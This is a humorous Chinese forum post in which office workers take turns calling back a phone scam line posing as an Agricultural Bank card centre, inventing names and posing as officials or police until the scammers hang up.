对方彻底崩溃,迫不及待的挂断了我的电话,搞得我很不尽兴。
拿起电话再打,居然占线
过瘾啊!有空又比较无聊的TX可以打打那个电话,有什么比耍骗子更有趣吗
这个TX不够强,我上海旁边的同事才叫强,前几天收到了骗子的诈骗短信,是通知你使
用农行卡消费3890元,让你和农行发卡中心联系,留了个上海的电话:021-51096574
嘿嘿,第一次收到,终于可以亲身体验,我那同事立马两眼发光,摩拳擦掌
电话打过去
女:“你好,农行发卡中心”。(感觉有气无力的)
我“你好,我收到一条短信,说….”
女:“请你到黄埔区东华路108号来一趟”
我:“黄浦区有东华路嘛?”(我同事估计是真不知道)
女:“有阿”
我:“我必须去一趟嘛?”
女:“为了你账户安全…..”
我:“可是我没有农行的卡呀”
女:挂电话

意犹未尽,我同事又告诉了他的朋友
这是他们的对话

女:“你好,农行发卡中心”。(可能像偶们一样无聊的人太多了,难怪有气无力的)….
女:“请你到黄埔区东华路108号匆惶恕?
朋友:“我现在就在东华路,108号是个住宅区啊”
女:“…我告诉你吧,东华路根本没有108号”挂电话

我同事觉得好玩,又打了第三遍,这次压低了声音,低沉了很多
女:“你好,农行发卡中心”
朋友2:“收到你们的短信…但是没有消费啊”
女:“我帮你查一下,先生贵姓”
朋友2:“我姓曹”
女:“叫什么?”
朋友2:“叫‘尼玛’”
女:“哪个ni?”
朋友2:“‘呢’去掉‘口’”
女:挂电话

我也无聊了,于是在同事的鼓动下也打电话过去了,骗子开始学聪明了
女:“你好,农行发卡中心”。(好像一本正经的样子)
我“你好,我收到一条短信,说…我刷卡消费了3000多啊?”
女:“请问你是有农行的卡的用户嘛”(也不说是信用卡,直接就说是农行卡)
我:“是”
女:那请报上你的姓名。(说这话的时候女的清清喉咙,感觉好像鱼儿上钩了)
我:开始胡扯:一定要名字吗?(因为原先没有想到要名字,没有想好我的另外一个名
字,也不想告诉我的真名)我真的刷了那么多钱吗?我好像没有刷过哎!
女:一定要的,告诉我你的名字
我:我在网上设定过我的最多消费金额是1500,怎么能刷3000多,是不是真的?
女:那你去你附近的营业点去查询好吗?(估计看出来破绽了,开始准备挂电话了)
我:哦,那我还是去我们楼下的。。。。。。
没等我说完就挂了
后来我同事给他一个朋友发了个,她打电话过去说
女:“你好,农行发卡中心”。
朋友“你好,我是工商局的,我们接到举报!!
女:什么?你是谁?
朋友重复了一遍
那边就挂电话了

然后我觉得很爽,于是又打了一次
你好,农行发卡中心
然后我告诉她,我是农行的,接到举报
可惜她挂电话的速度飞快

我同事最变态了,他打了最后一个电话
前面省略………
由于我们警方努力终于查出你们的具体窝点
你已经被包围了

等到下午5点多叫外卖准备晚上加班的时候,我顺手又打了一下,那个电话已经提示说
关机了,看来是固定电话转接到移动电话上的才对
哎,我们真无聊_<